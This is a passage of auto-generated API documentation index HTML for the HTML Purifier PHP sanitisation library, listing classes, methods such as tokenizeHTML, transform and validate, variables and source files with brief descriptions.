href="default/HTMLPurifier_Encoder.html#methodtestEncodingSupportsASCII">HTMLPurifier_Encoder::testEncodingSupportsASCII()</a> in Encoder.php</div> - <div class="index-item-description">This expensive function tests whether or not a given character encoding supports ASCII. 7/8-bit encodings like Shift_JIS will fail this test, and require special processing. Variable width encodings shouldn't ever fail.</div> - </dd> - <dt class="field"> - <span class="method-title">text</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodtext">HTMLPurifier_Printer::text()</a> in Printer.php</div> - </dd> - <dt class="field"> - TEXT - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constTEXT">HTMLPurifier_VarParser::TEXT</a> in VarParser.php</div> - </dd> - <dt class="field"> - TOKEN - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#constTOKEN">HTMLPurifier_ErrorStruct::TOKEN</a> in ErrorStruct.php</div> - <div class="index-item-description">Possible values for $children first-key. Note that top-level structures are automatically token-level.</div> - </dd> - <dt class="field"> - <span class="method-title">tokenizeDOM</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#methodtokenizeDOM">HTMLPurifier_Lexer_DOMLex::tokenizeDOM()</a> in DOMLex.php</div> - <div class="index-item-description">Recursive function that tokenizes a node, putting it into an accumulator.</div> - </dd> - <dt class="field"> - <span class="method-title">tokenizeHTML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PH5P.html#methodtokenizeHTML">HTMLPurifier_Lexer_PH5P::tokenizeHTML()</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">tokenizeHTML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodtokenizeHTML">HTMLPurifier_Lexer::tokenizeHTML()</a> in Lexer.php</div> - <div class="index-item-description">Lexes an HTML string into tokens.</div> - </dd> - <dt class="field"> - <span class="method-title">tokenizeHTML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DirectLex.html#methodtokenizeHTML">HTMLPurifier_Lexer_DirectLex::tokenizeHTML()</a> in DirectLex.php</div> - </dd> - <dt class="field"> - <span class="method-title">tokenizeHTML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#methodtokenizeHTML">HTMLPurifier_Lexer_DOMLex::tokenizeHTML()</a> in DOMLex.php</div> - </dd> - <dt class="field"> - <span class="method-title">tokenizeHTML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PEARSax3.html#methodtokenizeHTML">HTMLPurifier_Lexer_PEARSax3::tokenizeHTML()</a> in PEARSax3.php</div> - </dd> - <dt class="field"> - <span class="method-title">toString</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#methodtoString">HTMLPurifier_URI::toString()</a> in URI.php</div> - <div class="index-item-description">Convert URI back to string</div> - </dd> - <dt class="field"> - <span class="method-title">toString</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Id.html#methodtoString">HTMLPurifier_ConfigSchema_Interchange_Id::toString()</a> in Id.php</div> - </dd> - <dt class="field"> - <span class="method-title">toString</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#methodtoString">HTMLPurifier_Length::toString()</a> in Length.php</div> - <div class="index-item-description">Returns string representation of number.</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeParam.html#methodtransform">HTMLPurifier_AttrTransform_SafeParam::transform()</a> in SafeParam.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform.html#methodtransform">HTMLPurifier_TagTransform::transform()</a> in TagTransform.php</div> - <div class="index-item-description">Transforms the obsolete tag into the valid tag.</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Textarea.html#methodtransform">HTMLPurifier_AttrTransform_Textarea::transform()</a> in Textarea.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeObject.html#methodtransform">HTMLPurifier_AttrTransform_SafeObject::transform()</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Background.html#methodtransform">HTMLPurifier_AttrTransform_Background::transform()</a> in Background.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Simple.html#methodtransform">HTMLPurifier_TagTransform_Simple::transform()</a> in Simple.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ScriptRequired.html#methodtransform">HTMLPurifier_AttrTransform_ScriptRequired::transform()</a> in ScriptRequired.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeEmbed.html#methodtransform">HTMLPurifier_AttrTransform_SafeEmbed::transform()</a> in SafeEmbed.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ImgRequired.html#methodtransform">HTMLPurifier_AttrTransform_ImgRequired::transform()</a> in ImgRequired.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ImgSpace.html#methodtransform">HTMLPurifier_AttrTransform_ImgSpace::transform()</a> in ImgSpace.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Font.html#methodtransform">HTMLPurifier_TagTransform_Font::transform()</a> in Font.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Length.html#methodtransform">HTMLPurifier_AttrTransform_Length::transform()</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Lang.html#methodtransform">HTMLPurifier_AttrTransform_Lang::transform()</a> in Lang.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform.html#methodtransform">HTMLPurifier_AttrTransform::transform()</a> in AttrTransform.php</div> - <div class="index-item-description">Abstract: makes changes to the attributes dependent on multiple values.</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Input.html#methodtransform">HTMLPurifier_AttrTransform_Input::transform()</a> in Input.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BgColor.html#methodtransform">HTMLPurifier_AttrTransform_BgColor::transform()</a> in BgColor.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BdoDir.html#methodtransform">HTMLPurifier_AttrTransform_BdoDir::transform()</a> in BdoDir.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Name.html#methodtransform">HTMLPurifier_AttrTransform_Name::transform()</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BoolToCSS.html#methodtransform">HTMLPurifier_AttrTransform_BoolToCSS::transform()</a> in BoolToCSS.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Border.html#methodtransform">HTMLPurifier_AttrTransform_Border::transform()</a> in Border.php</div> - </dd> - <dt class="field"> - <span class="method-title">transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_EnumToCSS.html#methodtransform">HTMLPurifier_AttrTransform_EnumToCSS::transform()</a> in EnumToCSS.php</div> - </dd> - <dt class="field"> - <span class="method-title">transformAttrToAssoc</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#methodtransformAttrToAssoc">HTMLPurifier_Lexer_DOMLex::transformAttrToAssoc()</a> in DOMLex.php</div> - <div class="index-item-description">Converts a DOMNamedNodeMap of DOMAttr objects into an assoc array.</div> - </dd> - <dt class="field"> - <span class="include-title">TextDecoration.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---TextDecoration.php.html">TextDecoration.php</a> in TextDecoration.php</div> - </dd> - <dt class="field"> - <span class="include-title">Text.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---Text.php.html">Text.php</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="include-title">Textarea.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---Textarea.php.html">Textarea.php</a> in Textarea.php</div> - </dd> - <dt class="field"> - <span class="include-title">Table.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef---Table.php.html">Table.php</a> in Table.php</div> - </dd> - <dt class="field"> - <span class="include-title">Tables.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tables.php.html">Tables.php</a> in Tables.php</div> - </dd> - <dt class="field"> - <span class="include-title">Target.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Target.php.html">Target.php</a> in Target.php</div> - </dd> - <dt class="field"> - <span class="include-title">Text.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Text.php.html">Text.php</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="include-title">Transitional.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tidy---Transitional.php.html">Transitional.php</a> in Transitional.php</div> - </dd> - <dt class="field"> - <span class="include-title">Tidy.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tidy.php.html">Tidy.php</a> in Tidy.php</div> - </dd> - <dt class="field"> - <span class="include-title">TagTransform.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---TagTransform.php.html">TagTransform.php</a> in TagTransform.php</div> - </dd> - <dt class="field"> - <span class="include-title">Tag.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Token---Tag.php.html">Tag.php</a> in Tag.php</div> - </dd> - <dt class="field"> - <span class="include-title">Text.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Token---Text.php.html">Text.php</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="include-title">Token.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Token.php.html">Token.php</a> in Token.php</div> - </dd> - <dt class="field"> - <span class="include-title">TokenFactory.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---TokenFactory.php.html">TokenFactory.php</a> in TokenFactory.php</div> - </dd> - </dl> - <a name="u"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">u</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$unit</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#var$unit">HTMLPurifier_Length::$unit</a> in Length.php</div> - <div class="index-item-description">String unit. False is permitted if $n = 0.</div> - </dd> - <dt class="field"> - <span class="var-title">$units</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#var$units">HTMLPurifier_UnitConverter::$units</a> in UnitConverter.php</div> - <div class="index-item-description">Units information array. Units are grouped into measuring systems</div> - </dd> - <dt class="field"> - <span class="var-title">$userinfo</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#var$userinfo">HTMLPurifier_URI::$userinfo</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$userModules</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$userModules">HTMLPurifier_HTMLModuleManager::$userModules</a> in HTMLModuleManager.php</div> - <div class="index-item-description">List of extra modules that were added by the user using addModule().</div> - </dd> - <dt class="field"> - <span class="method-title">unichr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Encoder.html#methodunichr">HTMLPurifier_Encoder::unichr()</a> in Encoder.php</div> - <div class="index-item-description">Translates a Unicode codepoint into its corresponding UTF-8 character.</div> - </dd> - <dt class="field"> - <span class="method-title">unpack</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Email.html#methodunpack">HTMLPurifier_AttrDef_URI_Email::unpack()</a> in Email.php</div> - <div class="index-item-description">Unpacks a mailbox into its display-name and address</div> - </dd> - <dt class="field"> - <span class="include-title">URI.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---URI.php.html">URI.php</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="include-title">URI.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---URI.php.html">URI.php</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="include-title">UnitConverter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---UnitConverter.php.html">UnitConverter.php</a> in UnitConverter.php</div> - </dd> - <dt class="field"> - <span class="include-title">URI.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URI.php.html">URI.php</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="include-title">URIDefinition.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIDefinition.php.html">URIDefinition.php</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="include-title">URIFilter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIFilter.php.html">URIFilter.php</a> in URIFilter.php</div> - </dd> - <dt class="field"> - <span class="include-title">URIParser.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIParser.php.html">URIParser.php</a> in URIParser.php</div> - </dd> - <dt class="field"> - <span class="include-title">URIScheme.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIScheme.php.html">URIScheme.php</a> in URIScheme.php</div> - </dd> - <dt class="field"> - <span class="include-title">URISchemeRegistry.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URISchemeRegistry.php.html">URISchemeRegistry.php</a> in URISchemeRegistry.php</div> - </dd> - </dl> - <a name="v"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">v</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$validator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#var$validator">HTMLPurifier_LanguageFactory::$validator</a> in LanguageFactory.php</div> - <div class="index-item-description">Instance of HTMLPurifier_AttrDef_Lang to validate language codes</div> - </dd> - <dt class="field"> - <span class="var-title">$valid_values</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Enum.html#var$valid_values">HTMLPurifier_AttrDef_Enum::$valid_values</a> in Enum.php</div> - <div class="index-item-description">Lookup table of valid values.</div> - </dd> - <dt class="field"> - <span class="var-title">$valid_values</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_FrameTarget.html#var$valid_values">HTMLPurifier_AttrDef_HTML_FrameTarget::$valid_values</a> in FrameTarget.php</div> - </dd> - <dt class="field"> - <span class="var-title">$value</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#var$value">HTMLPurifier_ErrorStruct::$value</a> in ErrorStruct.php</div> - <div class="index-item-description">Value of the struct we are recording errors for. There are various</div> - </dd> - <dt class="field"> - <span class="var-title">$value</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$value">IDS_Event::$value</a> in Event.php</div> - <div class="index-item-description">Value of the event</div> - </dd> - <dt class="field"> - <span class="var-title">$valueAliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$valueAliases">HTMLPurifier_ConfigSchema_Interchange_Directive::$valueAliases</a> in Directive.php</div> - <div class="index-item-description">Hash of value aliases, e.g. array('alt' => 'real'). Null if value aliasing is disabled (necessary for non-scalar types).</div> - </dd> - <dt class="field"> - <span class="var-title">$values</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#var$values">HTMLPurifier_ContentSets::$values</a> in ContentSets.php</div> - <div class="index-item-description">Synchronized list of defined content values (values of info)</div> - </dd> - <dt class="field"> - <span class="var-title">$varParser</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#var$varParser">HTMLPurifier_ConfigSchema_InterchangeBuilder::$varParser</a> in InterchangeBuilder.php</div> - <div class="index-item-description">Used for processing DEFAULT, nothing else.</div> - </dd> - <dt class="field"> - <span class="var-title">$version</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#var$version">HTMLPurifier::$version</a> in HTMLPurifier.php</div> - <div class="index-item-description">Version of HTML Purifier</div> - </dd> - <dt class="field"> - <span class="var-title">$version</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$version">HTMLPurifier_Config::$version</a> in Config.php</div> - <div class="index-item-description">HTML Purifier's version</div> - </dd> - <dt class="field"> - <span class="var-title">$version</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$version">HTMLPurifier_ConfigSchema_Interchange_Directive::$version</a> in Directive.php</div> - <div class="index-item-description">Version of HTML Purifier the directive was introduced, e.g. '1.3.1'.</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme.html#methodvalidate">HTMLPurifier_URIScheme::validate()</a> in URIScheme.php</div> - <div class="index-item-description">Validates the components of a URI</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_mailto.html#methodvalidate">HTMLPurifier_URIScheme_mailto::validate()</a> in mailto.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ListStyle.html#methodvalidate">HTMLPurifier_AttrDef_CSS_ListStyle::validate()</a> in ListStyle.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_LinkTypes.html#methodvalidate">HTMLPurifier_AttrDef_HTML_LinkTypes::validate()</a> in LinkTypes.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Length.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Length::validate()</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#methodvalidate">HTMLPurifier_URI::validate()</a> in URI.php</div> - <div class="index-item-description">Generic validation method applicable for all schemes. May modify this URI in order to get it into a compliant form.</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_IPv6.html#methodvalidate">HTMLPurifier_AttrDef_URI_IPv6::validate()</a> in IPv6.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_AlphaValue.html#methodvalidate">HTMLPurifier_AttrDef_CSS_AlphaValue::validate()</a> in AlphaValue.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Lang.html#methodvalidate">HTMLPurifier_AttrDef_Lang::validate()</a> in Lang.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodvalidate">HTMLPurifier_ConfigSchema_Validator::validate()</a> in Validator.php</div> - <div class="index-item-description">Validates a fully-formed interchange object. Throws an HTMLPurifier_ConfigSchema_Exception if there's a problem.</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Length.html#methodvalidate">HTMLPurifier_AttrDef_HTML_Length::validate()</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#methodvalidate">HTMLPurifier_Length::validate()</a> in Length.php</div> - <div class="index-item-description">Validates the number and unit.</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI.html#methodvalidate">HTMLPurifier_AttrDef_URI::validate()</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Percentage.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Percentage::validate()</a> in Percentage.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Number.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Number::validate()</a> in Number.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Pixels.html#methodvalidate">HTMLPurifier_AttrDef_HTML_Pixels::validate()</a> in Pixels.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Email_SimpleCheck.html#methodvalidate">HTMLPurifier_AttrDef_URI_Email_SimpleCheck::validate()</a> in SimpleCheck.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Text.html#methodvalidate">HTMLPurifier_AttrDef_Text::validate()</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Switch.html#methodvalidate">HTMLPurifier_AttrDef_Switch::validate()</a> in Switch.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_nntp.html#methodvalidate">HTMLPurifier_URIScheme_nntp::validate()</a> in nntp.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Nmtokens.html#methodvalidate">HTMLPurifier_AttrDef_HTML_Nmtokens::validate()</a> in Nmtokens.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_TextDecoration.html#methodvalidate">HTMLPurifier_AttrDef_CSS_TextDecoration::validate()</a> in TextDecoration.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_MultiLength.html#methodvalidate">HTMLPurifier_AttrDef_HTML_MultiLength::validate()</a> in MultiLength.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Multiple.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Multiple::validate()</a> in Multiple.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange.html#methodvalidate">HTMLPurifier_ConfigSchema_Interchange::validate()</a> in Interchange.php</div> - <div class="index-item-description">Convenience function to perform standard validation. Throws exception on failed validation.</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_news.html#methodvalidate">HTMLPurifier_URIScheme_news::validate()</a> in news.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_URI.html#methodvalidate">HTMLPurifier_AttrDef_CSS_URI::validate()</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_IPv4.html#methodvalidate">HTMLPurifier_AttrDef_URI_IPv4::validate()</a> in IPv4.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Color.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Color::validate()</a> in Color.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Composite.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Composite::validate()</a> in Composite.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodvalidate">HTMLPurifier_ConfigSchema::validate()</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS.html#methodvalidate">HTMLPurifier_AttrDef_CSS::validate()</a> in CSS.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Integer.html#methodvalidate">HTMLPurifier_AttrDef_Integer::validate()</a> in Integer.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Border.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Border::validate()</a> in Border.php</div> - </dd> - <dt 